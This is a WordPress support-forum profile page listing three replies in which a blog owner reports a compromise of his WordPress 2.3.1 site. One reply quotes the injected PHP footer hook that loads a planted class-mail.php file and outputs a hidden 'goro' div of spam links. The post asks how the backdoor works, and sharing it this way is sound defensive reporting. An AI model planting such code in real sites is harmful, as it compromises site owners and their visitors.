Title: aspender's Replies | WordPress.org

---

# aspender

  [  ](https://wordpress.org/support/users/aspender/)

 *   [Profile](https://wordpress.org/support/users/aspender/)
 *   [Topics Started](https://wordpress.org/support/users/aspender/topics/)
 *   [Replies Created](https://wordpress.org/support/users/aspender/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/aspender/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/aspender/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/aspender/engagements/)
 *   [Favorites](https://wordpress.org/support/users/aspender/favorites/)

 Search replies:

## Forum Replies Created

Viewing 3 replies - 1 through 3 (of 3 total)

 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [2.3.1 vulnerability](https://wordpress.org/support/topic/231-vulnerability/)
 *  Thread Starter [aspender](https://wordpress.org/support/users/aspender/)
 * (@aspender)
 * [18 years, 8 months ago](https://wordpress.org/support/topic/231-vulnerability/#post-661397)
 * Just to be clear, the following got inserted into my page footer:
 * add_action(‘wp_footer’,’wpc7c16b8466d864eeefd20050625c7775′);
    function wpc7c16b8466d864eeefd20050625c7775(){
   [@include](https://wordpress.org/support/users/include/)(‘./wp-includes/class-
   mail.php’); if(sizeof($wparr)>0){ echo “<div id=\”goro\”>”; foreach($wparr as
   $k=>$v){ echo ““.ucwords($v[‘key’]).”\n”; if($i++==$inum) break; } echo “</div
   >”.$_footer; } }
 * However after googling for the goro div and finding some results on these forums,
   what appears to be different in this case is that wp-includes/default_filters.
   php was the file that included the hack, not a theme.
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [2.3.1 vulnerability](https://wordpress.org/support/topic/231-vulnerability/)
 *  Thread Starter [aspender](https://wordpress.org/support/users/aspender/)
 * (@aspender)
 * [18 years, 8 months ago](https://wordpress.org/support/topic/231-vulnerability/#post-661396)
 * The hack above has happened again on my 2.3.1 blog. Again my host has confirmed
   that there wasn’t any successful ftp logins on or around the date that class-
   mail.php was placed on the server.
 * This page seems to have information about how to get rid of the hack, suggesting
   it has been seen elsewhere:
 * [http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/](http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/)
 * FYI, I am running WP 2.3.1 with the Tranquility 1.2 theme and the following plugins
   activated:
 * Askimet 2.0.2
    DupPrevent 1.0 Feedburner Feedsmith 2.3 Google Search Widget 1.0
   Google XML Sitemaps 3.0.1 ShareThis 2.0 Ultimate Google Analytics 1.5.3
 * Site is at [http://adrianspender.com/blog](http://adrianspender.com/blog) I have
   removed the hack.
 * Can anybody else confirm they have seen this or give any reasonable explanation
   as to how the backdoor works?
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [2.3.1 vulnerability](https://wordpress.org/support/topic/231-vulnerability/)
 *  Thread Starter [aspender](https://wordpress.org/support/users/aspender/)
 * (@aspender)
 * [18 years, 8 months ago](https://wordpress.org/support/topic/231-vulnerability/#post-661100)
 * My host confirms that there were a number of attempted FTP logins from a Chinese
   IP on the day of the hack, but none of them were successful.

Viewing 3 replies - 1 through 3 (of 3 total)